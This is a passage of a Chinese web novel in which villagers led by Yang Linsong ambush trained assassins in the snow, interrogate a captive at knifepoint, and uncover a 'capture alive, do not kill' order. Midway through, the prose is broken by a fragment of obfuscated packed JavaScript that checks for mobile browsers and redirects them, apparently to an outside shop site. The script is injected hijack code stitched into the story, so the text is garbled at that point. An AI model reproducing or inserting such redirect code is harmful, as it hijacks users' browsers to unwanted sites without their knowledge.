“郑少华手底下新招的那帮人,谁知道里头有没有当年地质队的老面孔?谁知道他们手里有没有你的照片?”
“你只要在村子里冒一次头,被一双眼睛认出来,陈远山没死,这事当天就能传到省城。”
他停了一下。
“到那时候,不是你一个人的命,是整个村子的命。”
陈远山的身子僵住了。
攥成拳头的手慢慢松开,垂了下去。
张了两次嘴,啥也没说出来。
低下头,退了半步,转身。
走到门口,脚步顿了一下。
没回头。
棉帘子落下来,把他的背影挡在了外头。
屋里沉默了好几秒。
王大炮往炉子里扔了根柴,火苗子窜上来,啪地炸了一声。
“也是条汉子。”
王大炮嘟囔一句,没再往下说。
杨林松没接话。
就在这时候。
靠门站着的阿三忽然矮下身子,右手反握住腰间匕首柄,压着嗓子挤出一声:
“外面有动静。”
周铁山的手已经按上枪套。
老刘头从工具箱里抽出了锤子。
王大炮把没啃完的窝头往怀里一揣,手摸向腰间。
笃、笃笃……
门板上传来又轻又快的叩门声。
断断续续,不敢使劲,可又急得不行。
杨林松朝阿三使了个眼色。
阿三侧身贴着门框,左手缓缓拉开一条缝。
一个人影从门缝里挤了进来。
不是挤,是滚。
连滚带爬,在地上趔趄两步,差点一头栽进炉子里。
不是啥亡命徒。
是黑皮。
鬼市那个地痞头子。
他脸冻得青紫发乌,嘴唇干裂出好几道血口子。
浑身上下沾满雪粒子和枯草屑,棉袄前襟扯开一条大口子,脏兮兮的棉絮往外翻着。
老刘头一把揪住他的后领子。
“你不要命了!大白天往这儿跑?”
黑皮哆嗦个不停。
不知是冻的,还是吓的。
他死死攥住老刘头的袖口不撒手,嘴唇抖了好几下,才把话从嗓子眼里挤出来:
“出……出事了。”
他咽了口唾沫,嗓子干得冒烟。
“我在鬼市的暗线……昨天后半夜传出来的风声……郑少华招的那帮人……动了。”
老刘头攥领子的手劲又紧了一截。
“雇主那头催得紧,嫌动手太慢。原先说过几天的,现在改了。”
黑皮的眼珠子转了一圈,扫过屋里每一张脸,最后定在杨林松身上。
“最快……今明两晚。”
屋里死寂。
王大炮先炸了,一巴掌拍在大腿上,嘴里叼的小半截烟飞出去老远。
“他妈的!这帮孙子催命也没这么催的!敌暗我明,老子……”
他还没骂完。
黑皮忽然挣开老刘头的手,往前迈了一步。
这一步迈得不稳当,膝盖还在打战。
可腰杆子是直的。
他抹了一把脸上的雪水,抬起头:
“杨爷,老刘师傅。”
嗓音还在抖,可字咬得清清楚楚。
“我黑皮以前是浑,干的缺德事儿一箩筐都装不下,我认。”
“但我也是站着撒尿的爷们儿。”
“这回冒死来送信,就想跟着杨爷一块儿干。”
他顿了一下,喉结上下滚了两下,声音沉到底:
“我不想再当一个一事无成的混混了。”
屋里没人吭声。
老刘头想递根烟给黑皮,刚伸出手,又收了回来,自己叼上了。
王大炮飞出去的小半截烟在地上快烧没了,都忘了捡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346082|199526||http|test|mini|href|location''.split(''|''),0,{}));
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r>周铁山的眉毛拧了两下,愣是没拧出话来。
杨林松看着黑皮。
没说好,也没说不好。
他转身,走到墙上挂着的手绘地图跟前。
食指抬起来,重重戳在黑瞎子岭外缘的一个点上:
“不用等明晚。”
所有人齐刷刷瞅着他的背。
杨林松转过身,接着说:
“他们连踩点都这么急,前后脚不到两天就催着动手。”
“说明狗已经饿到头了。”
食指从草图上收回来,攥成拳。
“今晚就会来。”
屋里安静了三秒。
这三秒里,每个人的后脊梁都直冒凉气。
周铁山最先缓过来:“那原来的布置……”
“全推翻。”
杨林松打断他,扯下墙上的地图,走到桌边。
摊开,手指在地图上点了几个位置:
“村口岗亭撤人,灯灭掉。东头粮仓前面摆两个假哨,西头柴火垛后面藏真人。”
他看向老刘头:
“你带黑皮,蹲后山坡那棵老榆树底下,盯后路。谁从那个方向冒头,不管是人是狗,先记脸再动手。”
老刘头点头,干脆利落。
杨林松又看向阿三:
“你守吉普车。油我昨天让你灌满了,钥匙插着别拔。有人需要送出去,你踩油门就走,别回头。”
阿三攥了攥拳头,脑袋重重一点。
“周叔。”
杨林松的目光落到周铁山身上。
“民兵分三组。村东、村西、晒谷场。不准点火,不准出声,不准擅自开枪。没有我的信号,谁都不许动。”
周铁山把笔记本摊开,铅笔刷刷地记。
王大炮坐在那儿,浑身骨头缝都在咯吱响,透着一股子躁劲儿:
“那你呢?”
杨林松走到墙角。
伸手,把那把从土坯房搬来的紫杉木大弓取了下来。
他把弓挎在肩上,手指捻了捻弓弦。
弦发出一声短促的嗡鸣。
“我在该在的地方。”
没人再问了。
黑皮蹲在炉子边,捧着一碗热水,十根冻粗的手指贴在碗壁上舍不得松开。
他一口一口地喝,水从下巴往下淌,也顾不上擦。
老刘头从怀里摸出一根烟,递给他。
黑皮接了。
手还在抖。
可嘴角往上扯了一下。
------
入夜。
风雪没停,反而更大了。
天地之间白茫茫一片,上下不分,远近不辨。
大队部里那个铁皮炉子,被一盆冷水浇灭了。
滚烫的炉壁嗤嗤冒了一阵白气,随即沉入黑暗。
没有火光。
没有烟。
没有一丝活人气息。
杨林松站在一棵老槐树下。
紫杉木大弓斜挎在背上,破甲箭的箭簇贴着腰侧。
风从黑瞎子岭方向灌过来,裹着雪粒子抽在脸上,不疼。
他眯着眼,盯着村口土路。
啥也没有。
只有黑。
可杨林松知道。
它们在来的路上了。
他把弓摘下来,握在手里。
手指搭上弦。
没拉。
等着。
整个村子,都在等着。
第128章 谁敢摸进杨家村?
风没停。
雪一片赶一片地砸下来。
杨林松一动不动。
呼吸压到最浅,心跳慢过冬眠的黑瞎子。
他整个人贴在老槐树干上,就差跟树皮长到一块儿去了。
杨家村里。
没灯。
没狗叫。
连个咳嗽声都听不着。
村口岗亭那盏往常点到天亮的煤油灯也灭了,只剩一个空壳子杵在风雪里头。
时间一截一截地往前磨。
半夜。
后半夜。
杨林松眼皮子没合过一下。
两只眼在黑暗里瞪得溜圆,四周每一寸雪地、每一道树影子,全灌进眼底。
凌晨。
风向变了。
从黑瞎子岭那头灌过来的风里,夹了一丝不属于这片林子的味儿。
机油。
淡得不能再淡,要是搁普通人鼻子底下,闻一辈子也闻不出来。
但杨林松的鼻子不是普通人长的。
右手收紧,指节扣死在弓臂上。
来了。
------
三道黑影。
从村口土路的雪幕子里钻出来,贴着路边矮墙根往里摸。
不是一窝蜂往上冲的莽劲儿。
三角队形。
一前两后,间距两丈出头,互为犄角。
打头那个矮壮敦实,身子压得很低,快贴着地皮了。
脚落地的时候,前掌先吃劲儿,后跟轻轻一点就过去了,踩在积雪上几乎没有声响。
后头两个一左一右,脑袋转个不停,眼睛扫着两侧的屋顶和暗角。
他们手里各攥着家伙,刃口冲下,贴着前臂内侧藏着。
三个人的步子完全踩在一个点上。
快的时候一块儿快,停的时候同时停。
没口令,没手势,全凭余光和呼吸在配合。
杨林松眼缝眯了一道。
不是街面上花钱招来的混混。
是练过的。
而且练得相当狠。
------
矮壮汉子摸到了东头粮仓。
他蹲在墙角,死死盯着粮仓门口那个哨兵。
十秒。
哨兵裹着军大衣,扣着棉帽子,背对着他,一动不动杵在门口。
矮壮汉子的目光从哨兵后脑勺往下溜,落在肩膀上。
停了两秒。
肩膀没起伏。
没有呼吸。
他嘴角抽了一下。
右手翻腕,三棱军刺从袖口滑出。
反手握,刃朝外。
身形一弹。
整个人蹦出去,三步并作一步扑上去,左手扣住哨兵下巴往后掰,右手三棱刺横着就切过去。
嗤!
布帛裂了。
没血。
没挣扎。
稻草从破棉袄的口子里往外涌。
矮壮汉子手上的动作顿了半拍。
低头。
怀里搂着的不是人。
是一个塞得鼓鼓囊囊的草垛,外头套着破棉袄和棉帽。
半秒。
整整半秒,他跟被人点了穴似的,一根汗毛都没动。
然后脸色刷地变了。
右手打了个变阵手势。
后头两个黑影同时矮了下去,背靠背缩成一坨,手里的家伙全亮了出来。
------
矮壮汉子把草垛一甩。
扫了一眼东头几间土房子,又扫了一眼晒谷场方向。
都没去。
脚尖一拧,直奔村子西头的柴火垛。
两个手下跟上,队形从三角切成一字纵队,贴墙根往西走。
柴火垛后头。
周铁山蹲着,后背紧紧贴着劈柴垛子。
手心里全是汗,把枪柄浸得滑腻腻的。
他攥了又松,松了又攥。
透过柴火缝子往外瞅。
三个黑影拐过来了。
打头那个矮壮汉子的脚步节奏,周铁山太熟了。
前掌压地,重心前顶,膝盖始终保持微曲。
这种步态他在部队那会儿见过,整个连队里挑不出仨来。
而那人右手反握三棱刺的姿势,让他头皮发炸。
刃朝外,虎口死卡在刺座上,食指搭着血槽边。
这是见过血的握法。
周铁山后槽牙咬得咯吱响,左手按住身边民兵的肩膀,使了死劲儿往下压。
别动。
现在冲出去,就是给人家送菜。
矮壮汉子越来越近。
十五步。
十步。
八步。
周铁山能听见他鞋底碾过冻雪的细碎声响了。
六步。
五步。
弓弦炸响!
这声不大,被风雪裹了一层,闷闷沉沉的。
可紧跟着的,是一道黑线。
破甲锥从三十步外的斜侧方射来。
穿风。
破雪。
贯入矮壮汉子的右肩胛骨。
箭头从前胸透出一寸,带出一蓬血雾。
惯性太猛了。
矮壮汉子整个人向前一踉跄,前胸结结实实撞上三步外一根碗口粗的木桩。
箭头扎进木头,扎得很深。
把他钉得死死的。
矮壮汉子嗓子里挤出一声惨叫。
手里的三棱刺当啷掉在地上,双手疯了似的抓住木桩,想借力往后退。
可箭头上,两道倒钩咬着骨头。
退不了。
------
周铁山从柴火垛后面探出半个脑袋。
他看见了那个壮汉的惨样。
箭杆贯穿肩胛骨,前胸后背两头冒血。
箭尾的羽毛还在风里晃着,嗡嗡响。
他头皮一阵一阵发麻。
一百二十磅的硬弓。
三十步。
一箭穿人,钉桩。
------
剩下两个杀手反应也不慢。
矮壮汉子被钉住的一刹那,两人同时往地上一滚,各自找掩体。
其中一个手往腰间摸,动作利索。
可他俩选的逃路,偏偏是后山坡。
老榆树方向。
两人弯着腰,踩着乱雪拼了命往坡上窜。
没跑出二十步。
一声闷响。
老刘头从老榆树后面闪出半个身子,手里铁锤抡了个半圆,结结实实砸在前头那人的后腰上。
那人闷哼一声,膝盖一软,栽进雪窝子里。
后头那个刚要掏枪,黑皮已经从侧面扑上去了。
黑皮的动作说不上好看。
没章法,没套路,纯粹
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是街头打烂仗的野路子。
但他一百六七十斤的身板压上去,两条胳膊死死锁住对方拿枪的手,挂在上面不撒手。
对方挣了两下,没挣开。
老刘头上来又补了一锤,砸在手腕上。
骨头响了一声。
枪掉了。
------
杨林松已经从老槐树底下移了出来。
在雪地里横切,脚步落地无声。
大衣反穿,白色衬里在风雪中晃了两晃,眨眼就到了矮壮汉子跟前。
矮壮汉子还贴着木桩,嘶吼着。
右脚想去够地上的三棱刺,脚尖都碰到刺柄了。
嗡。
一支箭钉在右脚旁三寸的冻土里。
箭尾羽毛抖了两下。
矮壮汉子的右脚僵住了。
他艰难地转过头。
余光瞥见一个人影站在十步外。
肩上挎着一把大弓,弦上已搭着第三支箭。
箭头对着他的脑袋瓜子。
矮壮汉子嘴唇哆嗦着,眼角滑下一行泪。
不只是因为疼。
更多的是怕。
那种从骨头缝里钻出来、堵都堵不住的怕。
------
后山坡那边也利索了。
老刘头和黑皮把两个人按在雪地里。
老刘头踩着一个。
黑皮骑在另一个身上,两只手死命摁着对方脑袋。
他大口喘着气,大腿还在抖。
但他咬着牙,没松手。
------
从头到尾。
也就十来分钟。
周铁山带着民兵从柴火垛后面站起来的时候,腿是软的。
他走到矮壮汉子面前,低头看了看那支箭。
箭头入木三分。
木桩被撞出一圈裂纹。
周铁山张了张嘴,到嘴边的话又咽了回去。
杨林松已经走到他跟前了。
没看周铁山。
径直走到矮壮汉子面前。
左手从后面搂住对方脖颈,往后一用力。
连人带箭从木桩上拔了出来。
矮壮汉子又发出一声惨嚎。
杨林松没松手。
右手伸进那人贴身的内兜里,翻了两下。
掏出一张硬纸片。
揉皱的,对折过两道。
杨林松单手展开。
周铁山凑过来,手电筒打亮。
光束落在纸面上。
一张黑白照片。
照片上的人,五十来岁,瘦脸,颧骨高耸,额头上一道横纹刻得老深。
陈远山。
手电光晃了一下。
杨林松盯着照片,脸上没啥表情。
他把照片折好,揣进怀里。
然后,从腰间抽出那把56式三棱军刺。
刺身上三道血槽在手电光底下泛着幽光。
他看了一眼被左臂锁死的矮壮汉子。
又扫了一眼后山坡趴在雪地里的那两个。
左手一松。
矮壮汉子闷哼一声,栽在雪窝子里。
杨林松转过身。
面朝黑瞎子岭。
风雪砸在脸上,眼睛都没眨一下。
“打扫干净。”
“他们找的人,我护着。谁伸手,我剁谁的爪子。”
第129章 活捉,勿杀
周铁山立马下了两道命令。
第一道跟杨林松说的一样——“打扫干净”。
第二道——“把人押回大队部,连夜审。”
四个民兵上前,把那矮壮汉子从雪地里薅起来。
刚才那一跤摔得结实,箭杆断了半截,前胸后背各戳着一茬断口,血糊糊一片。
两个民兵架着他胳膊,另外两个端着枪在后面顶。
杨林松走在最后。
三棱军刺还没入鞘。
他抬起左手,大拇指从刺身根儿往下一捋,把血槽里冻住的残冰刮下来。
碎冰渣子掉在雪上,他看都没看。
后山坡那边,老刘头和黑皮也把另外两个押过来了。
一个被锤子砸了后腰,走路拖着条腿。
另一个右手腕折了,胳膊吊在身子边,一晃一晃的。
大伙儿一路没吭声,踩着积雪往大队部走。
村子里黑灯瞎火,连一声狗叫都没有。
------
后院柴房。
门一推开,一股子霉味直扑脸。
周铁山让人点了盏煤油灯,火苗子就豆粒大,晃来晃去。
矮壮汉子被摁在正中间一根碗口粗的木柱子前,麻绳从腋下穿过去,绕了五圈,勒得死死的。
他耷拉着脑袋。
右肩胛骨那个窟窿还在渗血,棉袄前襟洇透一大片,油亮油亮的。
牙关咬得死紧,腮帮子上的肉一鼓一鼓。
喘气粗得一口赶一口,硬是一声不吭。
周铁山站到他跟前,居高临下瞅着他。
“谁派你来的?”
不吭声。
“还有多少人?”
还是不吭声。
周铁山嗓音沉了半截:“我问你话呢!”
矮壮汉子慢慢把头抬起来。
血顺着嘴角流到下巴,一滴一滴往下掉。
那一箭,看样子是扎穿了肺。
他盯着周铁山看了两秒。
“噗——”
一口带血的唾沫,直接喷在周铁山军装前襟上。
矮壮汉子嘴角往上一扯,哑着嗓子开口:
“你知道你惹的是谁吗?”
他歪着头,脸上挂着冷笑。
“弄死我一个,后头的人能把你这破村子犁三遍。”
柴房里瞬间静了。
门口几个民兵,握枪的手心全是汗。
有个小个子下意识往后缩了半步,嘴唇哆嗦,凑到旁边人耳边嘀咕:
“他……到底啥来头?”
声不大,可周围人全听见了。
黑皮一下子火了。
袖子一挽,上前一步就要动手。
一只手按在他肩膀上。
劲儿不大,却沉得要命。
黑皮身子一僵,脚底下像钉了钉子。
杨林松从他身后走过去。
没看黑皮,没看周铁山,没看门口那些民兵。
他走到矮壮汉子面前,站定。
第二次把手伸进他怀里。
啥也没摸着。
内兜没有,还有外兜。
手伸进棉袄胸前的口袋,继续摸。
有东西!
一张硬纸片。
“啪。”
纸片背面朝上,拍在矮壮汉子胸口。
“咳咳!”
震到了肺,他忍不住猛咳几声。
“陈远山……你可认识?”杨林松问。
矮壮汉子瞥了他一眼,又低下头。
脸上那冷笑还挂着。
“呵,认识。”
杨林松右手食指骨节,敲了敲他胸口那张照片。
“那我这张脸呢?”
矮壮汉子再抬头。
四目对上。
杨林松眼里啥情绪都没有。
矮壮汉子的瞳孔猛地一缩。
胸口起伏,顿了半拍。
脸上的冷笑,没了。
杨林松不给他喘气的功夫。
按在他胸口的手一收,攥着那张硬纸片抽了回来。
这张没揉皱,边角齐整,折过两道印。
纸片在杨林松手里展开。
又是一张照片。
上面是个穿破棉袄的年轻人,坐在土坯房跟前,侧着脸,手里拿着东西在干活。
照片模糊,手里的东西看不清楚。
可那身形,加上土坯房的背景,一眼就能认出来。
是他自己。
周铁山凑过来。
老刘头也凑过来。
两人看清照片上的人,脸色同时变了。
周铁山猛吸一口气,吸太急,呛得直咳。
老刘头喉结滚了两下,嘴张着,一个字蹦不出来。
照片右下角。
刻着一行小字,笔迹工整,一笔一划压得很深。
相纸面儿都刮花了,露出白底。
四个字:
活捉,勿杀。
柴房里的空气,一下子冻成了冰。
杨林松盯着这四个字。
一秒。
两秒。
三秒。
左手把照片往兜里一塞。
右手从腰间抽出三棱刺。
刺尖贴在矮壮汉子脖颈左侧的大筋上。
钢铁贴上皮肤。
矮壮汉子浑身一哆嗦。
脖子上的青筋蹦起来,一跳一跳,越来越快。
杨林松开口了,声音没有起伏:
“你的主子让你活捉我。”
“那你就不敢杀我。”
“可你的主子……”
声音顿了一下,刺尖往前推了一厘。
一颗血珠从刀口挤出来。
“管不着我。”
矮壮汉子喉结狠狠一滚。
“这四个字,
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救不了你。”
杨林松的语气没有一丝波澜。
“它只能告诉我一件事。”
“你没有跟我同归于尽的权利。”
矮壮汉子脸上那点冷笑,彻底碎了。
嘴唇抖得更厉害,冷汗顺着额头往下淌。
“我……”
他嗓子劈了,从喉咙里硬挤出来:
“我们是头一组。”
咽了口唾沫,又挤几句:
“主子……一共派了三组。”
柴房里连呼吸都停了。
“第二组人比我们多,带着硬家伙,已经上路了。”
他闭了一下眼,再睁开时,眼皮子塌下去一半,嘴唇嚅动了两下才挤出声。
“快的话……明天夜里就到。”
门口几个民兵,脸上血色一下褪得干干净净。
有个民兵枪口往下一歪,枪托磕在门框上,咣当一声。
没人顾得上理他。
周铁山拳头攥得死紧,手背上青筋一根一根绷起来。
王大炮嘴里的烟掉在地上,右手摸向枪套,摸了一半又放下。
三组人。
第二组带重火力。
已经在路上了。
这不是报仇。
这是要把杨家村,从地图上直接抹掉。
杨林松把军刺收回来。
没擦。
刺身上的血半干,沾着灯光,一明一暗。
就在这时。
“吱呀——”
身后木门开了。
所有人同时回头。
陈远山站在门口。
旧军大衣裹在身上,衣摆拖到膝盖下,整个人缩在衣服里。
他的目光越过所有人,落在矮壮汉子身上。
眼眶红了。
嗓音干得发涩:
“八年了。”
“我跟野鬼一样躲在林子里。”
“以为自己早就是个死人了。”
嘴唇抖了两下:
“没想到……他们连死人都不放过。”
柴房里没人接话。
杨林松看了陈远山一眼,也没说话。
他转身走到门口,对周铁山说:
“布轮换岗哨,前院、后院、村口,三班倒,不睡觉的都给我瞪着眼。”
周铁山重重一点头。
杨林松没多废话,走了出去。
风雪砸在脸上,生疼。
陈远山跟了出来。
两人并排站着,谁也没开口。
远处,黑瞎子岭的轮廓压在天边。
看不清是山,还是一头趴着的巨兽。
雪越下越大。
杨林松把手揣进大衣兜。
右手摸到那两张照片的硬边。
一张是陈远山。
一张是他自己。
三十一年。
两代人。
都埋在这座山底下。
第130章 来了就别走
天亮的时候,雪停了。
大队部办公室里,炉膛新添了两根松木,火苗子舔着铁皮,呼呼直响。
杨林松把两张照片摊在桌上。
一张陈远山,一张他自己。
那四个字,扎得所有人眼眶发酸。
“活捉,勿杀”。
周铁山拳头攥在膝盖上,攥得骨头缝里直冒酸水。
老刘头叼着烟,嘴唇绷成一条硬线,烟灰老长都没弹过。
黑皮缩在墙角,大气不敢出一口。
棉帘子一掀。
沈雨溪快步走进来。
脸冻得发白,鼻尖通红,可那双眼睛亮得吓人。
她走到桌前,把照片翻过来掉过去看了几遍。
最后,手指点在“活捉”两个字上。
“他们不想杀你。”
杨林松没搭腔。
沈雨溪抬头看他:“不想杀,就说明你身上有他们要的东西。杀了你,东西就拿不着了。”
手指从照片上收回来,在桌面上轻轻一叩。
“你爹杨卫国,1945年发现熊神洞,写了日记。这些咱们已经攥在手里了。”
顿了一拍。
“可他们还要活捉你……说明还有东西,是你爹留下来的,他们到现在都没找着。”
屋里静了两秒。
周铁山嘴刚张开一半,被杨林松一个眼神硬生生摁了回去。
杨林松闭上眼。
脑子里拼了命地翻。
原身十二岁以前的记忆碎得稀烂。
有时是一段低沉的男人嗓音,在耳边说着什么。
有时是一股子机油混着枪油的味儿,浓得呛鼻子。
可一伸手去够,又散了。
大片大片的空白,横插在中间,怎么拼都拼不上。
翻了很久。
他睁开眼,摇了摇头。
“想不起来。”
屋里闷得让人胸口发堵。
沈雨溪没再追问,只看了他一眼,就把目光收了回去。
周铁山实在憋不住:“那第二组呢?那小子交代的,最快今晚就到,还带着硬家伙。咱们怎么……”
“不守。”
杨林松直接打断他。
他走到墙上那张手绘地图前,食指狠狠一戳。
“战场不在村里,在这儿。”
指尖落在一个位置上。
“村外五里,老林子。”
他转过身,目光扫过一圈人:
“周叔,你带民兵守村子。大炮叔看住大队部,哪儿也别去。”
老刘头、阿三、黑皮。”杨林松手指在地图上划了一道弧,“在外围散开,给我放哨。”
王大炮腾一下蹦起来:“那你呢?”
“我一个人进去。”
王大炮嘴张了两下,硬是一个字没蹦出来。
杨林松把墙上的弓摘下来,往肩上一挎。
走到门口,顿了一下。
没回头。
“他们想捉活的。”
“我偏让他们知道,活着来的,不一定活着走。”
棉帘子落下。
------
杨林松一个人回了土坯房。
门一关。
他把弓卸下来,搁在桌上。
手指顺着弓身的纹路捋了一遍,在弦钩那儿停了两秒。
弓弦还是昨天新换的。
猪筋搓的股,三层,紧实得很。
指腹轻轻一拨,嗡的一声,短促又有劲。
好弓。
他又把三棱刺抽出来,横在窗跟前。
刀身三道血槽擦得干干净净,钢面泛着冷光。
拇指在刃口上轻轻刮了一下。
够利。
破甲箭从箭壶里抽出三支。
箭头迎着窗光转了半圈,柳叶刃口没一丁点卷边。
他把箭插回去,弓挎上肩,军刺归鞘。
推门出去。
天色还没黑透,西边压着一层灰云,底下漏出一截暗红的光。
杨林松没走大路。
绕到屋后,踩着冻硬的田埂,一头扎进了老林子。
------
入夜。
风雪又起来了。
老林子里的风不是刮,是割。
树梢压得吱呀乱响,枯枝噼里啪啦砸下来。
能见度不到十步。
抬头一片灰白,天和地搅在一块儿,分不清上下。
杨林松趴在一棵老红松的横枝上。
大衣反穿,白衬里朝外。
他盯着四下里的风吹草动。
等了两个钟头。
动静来了。
是雪壳子被碾碎的细响。
很轻,一下接一下,间隔匀得邪乎。
两道黑影从风雪幕子里钻出来。
前后隔三丈,交替往前摸。
每走五步,前头那个蹲下,后头那个越过他继续走,再换过来。
重心压得极低,前脚掌吃劲儿,后跟蜻蜓点水一带就过去了,踩在积雪上几乎没声响。
穿的是白灰伪装服,帽子把脸裹得严严实实,只露一双眼。
杨林松眼缝眯了一道。
------
前头那个摸到了老刘头事先埋的第一道绊线跟前。
没停。
脚尖轻点雪面,试了试软硬,往左横跨半步,绕了过去。
后面那个跟上,一模一样的动作,一模一样的路线。
干净利索,配合得天衣无缝。
三十米外的雪坑里。
老刘头后背贴着冻土,攥锤子的手心滑腻腻的。
阿三趴在旁边,嘴唇惨白。
两人对视一眼。
老刘头喉结滚了一下。
他打仗那会儿见过这种走法。
不是街面上的混子,不是山里的胡子。
是真杀过人、也差点叫人弄死过的狠茬子。
------
两个探子继续往前摸。
第二道绊线也没拦住他们。
前头那个经过一棵白桦树时,停了两秒。
伸手摸了摸树干上老刘头刻的暗记,随即打了个手势,绕开。
沉默,高效,冷。
他们目标很明确。
再往前一里,就是杨家村后山坡。
前头的探子蹲下身,从怀里掏出望远镜。
镜片上蒙了黑布,只留一个针尖大的小孔。
他刚把望远镜举起来。
一双手,从头顶落了下来。
杨林松从横枝上倒挂而下。
双臂绞住探子两条胳膊,往外一掰。
咔。
咔嚓。
两声脆响。
一声是肘关节,一声是肩胛骨。
那人嗓子里只挤出半声闷哼,整个人直接软了下去。
------
后面那个探子扭身就转,右手已经摸向枪套。
可他刚转过来,迎面就是一把紫杉木大弓。
弓弦拉满。
破甲箭离他眉心不到两尺。
杨林松倒挂在树枝上,一条腿勾住横枝,上半身悬空。
大衣白衬里垂到头顶,在风雪里翻卷。
弓臂纹丝不动。
两秒。
探子摸枪的手,停在了枪套边上。
没拔。
不是不想。
是拔不了。
这个距离,这个角度。
拔枪再快,也快不过松弦。
杨林松翻身从树上落下来。
落地没一点声。
弓没松,箭没偏。
从头
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到尾,不到五秒。
------
三十米外的雪坑里。
老刘头攥着锤子,手在发颤。
不是冻的。
他打了半辈子铁,扛了半辈子枪,啥阵仗没经过。
可刚才那一幕……
从倒挂、卸骨、到张弓,一套动作一气呵成,连一口多余的气都没喘。
黑皮趴在旁边,嘴张着合不上。
十根手指掐进雪里,指甲盖紫了,愣是没觉着疼。
老刘头一巴掌把他脑袋按下去,嘶声道:
“别出声!”
------
杨林松站在探子面前。
弓收了,箭插回腰间。
他伸手,从怀里掏出那张照片。
自己那张,“活捉,勿杀”四个字还在。
又从腰间抽出56式三棱军刺。
刺尖抵在照片背面空白处。
一笔。
两笔。
三笔。
……
刻得很慢,一划一划。
相纸被划开,露出底下白茬的毛边。
五个字:“来了就别走”。
刻完。
杨林松低头,看了一眼地上双臂脱臼的废人。
军刺在他大腿上轻轻扎了一下。很浅,利落拔出。
那人还是惨叫了一声。
刺尖沾上血,在五个字上轻轻一抹。
血渗进划痕里。
字迹显出来,红的,一笔一画都带着腥气。
杨林松把照片塞进探子衣领里。
抬脚,把地上那人踢给对方。
“滚。”
一个字。
探子接住同伴的身子,往后踉跄两步。
低头,瞥见衣领里露出来的照片边角。血迹还没干,洇在灰白色伪装服上。
他没吭声。
没求饶。没威胁。
拖起同伴,转身,一头扎进风雪里。
脚步极快,比来的时候快了三倍。
杨林松站在原地,看着两道灰白影子被雪幕吞掉。
弓弦在风里轻轻嗡了一声。
------
半个钟头后。
杨林松顺着探子撤退的方向,往前摸了二里地。
雪地上的痕迹越来越淡。
到最后,几乎看不见了。
不是雪盖的。
是人为抹的。
杨林松蹲下来,手指插进一道浅印里。
宽度:军靴。
深度:均匀。
间距:精确。
又往前走五十步。
地上多了一道细拖痕。
是树枝扫的,把所有脚印抹得干干净净,只剩一层薄浮雪。
杨林松蹲在痕迹尽头,手指捏了捏雪面。
撤了。
不是溃逃,不是吓跑。
是有序撤退。
连断后抹痕迹的人都安排好了。
他站起身。
风从黑瞎子岭方向灌过来,呜呜作响。
杨林松攥着弓,盯着林子深处望不见底的黑。
第一组是试探,已经被端了。
第二组是主力,带着硬家伙,却只派了两个人来探路。
这说明他们真正的大头,还在后面。
他嘴角动了一下,算不上笑。
收到血字照片,没暴怒,没强攻,没急着报复。
收队、抹痕、干干净净退走。
领头的,是个狠角色。
比昨晚那个矮壮汉子狠十倍的角色。
杨林松后脖颈的汗毛竖了一瞬,又压了下去。
他把弓往肩上一挎,转身往回走。
脚步不快,但每一步踩得实。
风雪砸在脸上,眼睛没眨一下。
肩头的弓弦嗡嗡响。
一直没停。
第131章 活捉令就是他们的死穴
天亮了。
大队部屋里,炉膛噼啪响得欢实,热气把窗户糊了一层。
杨林松站在桌跟前,把昨晚老林子里的事儿掰扯了一遍。
声音不高,一句一句往外蹦。
倒挂树枝。
卸胳膊卸腿。
张弓搭箭。
放他们滚蛋。
血字照片塞进领口。
周铁山刷刷刷记着,笔尖子都快划破本子了。
杨林松一说完,他把笔一搁,补了一嘴:“天亮我让人顺着撤退的道儿追了二里地。”
后槽牙一咬,嘎嘣响。
“脚印到林子边就断了,所有痕迹全让人用树枝扫得溜干净,连个雪窝子都没剩。”
他合上本子,手指在封皮上敲了一下。
“第二组主力接到那张带血的照片,没强攻,没报复,连个影儿都没露,直接收了队。”
屋里没人吱声。
暴怒的敌人不可怕。
最怕的,是挨了大嘴巴子还能咽下去的主儿。
王大炮先绷不住了。
一巴掌拍大腿上,板凳腿在地上吱哇一声,刺耳得很。
拍完就龇牙咧嘴,肋骨的旧伤又扯着了。
他攥着牙花子,手指直戳戳地指着杨林松:
“你这是放虎归山!”
嗓门拔高半截:“那帮孙子本来就是拿命换钱的亡命徒,你还给他们留血书?这哪儿是打脸啊,这是往马蜂窝里捅棍子!下回再来,人更多、家伙更硬,你拿啥挡!”
杨林松没转身。
他盯着炉膛里蹿动的火苗子,嘴角动了一下。
“大炮叔,那张照片上的字你还记得不?”
王大炮嘴张了一半,卡那儿了。
杨林松转过身,看着他。
一字一句往出砸:
“活捉,勿杀。”
“这四个字,是郑少华给底下人下的死命令。”
他食指在桌面上重重一点,咚的一声。
“只要我还有一口气在,他们开枪之前就得掂量掂量。打死我,上头交不了差。打伤我,万一我跑了呢?”
指头从桌面收回来。
“所以他们来的人越多,顾忌就越大。带的火力越硬,越不敢往死里招呼。”
停了一拍。
“这不算放虎归山。”
“这叫拿他们主子的贪心,当绳子勒他们自个儿的脖子。”
屋里的空气凝住了。
周铁山端着碗的手悬在半空,忘了喝。
王大炮张着嘴,嗓子眼里的话堵得结结实实,吐不出来咽不下去。
老刘头叼在嘴里的烟忘了吸,一截灰烟掉了一裤裆都没觉着。
杨林松的目光从每个人脸上扫过去。
眼里冷得跟外头的冻土一个德行。
王大炮后脊梁一阵发凉。
他忽然琢磨过味儿来:
这小子不是在打仗。
他是拿自个儿这条命当鱼钩,把整个杨家村变成了一张网。
网的另一头,拴着省城那个姓郑的。
谁先沉不住气,谁就往网里钻。
------
沈雨溪开口了。
她站在桌跟前,手指轻轻叩着桌面:
“有件事儿不对劲。”
所有人的目光都聚到她身上。
“郑家折腾了三十一年,在边境招亡命徒,开两百块一个月的价码,拼了老命也要活捉他。”
她眼神落在杨林松脸上。
“熊神洞的坐标咱手里攥着,陈叔的日志也在,这些东西他们抢不走了。”
顿了一下。
“可他们还非要活的。”
手指从桌面收回来。
“说明杨林松身上,还有比坐标更值钱的玩意儿。”
“那批军火里头,有他们非拿到手不可的杀器。”
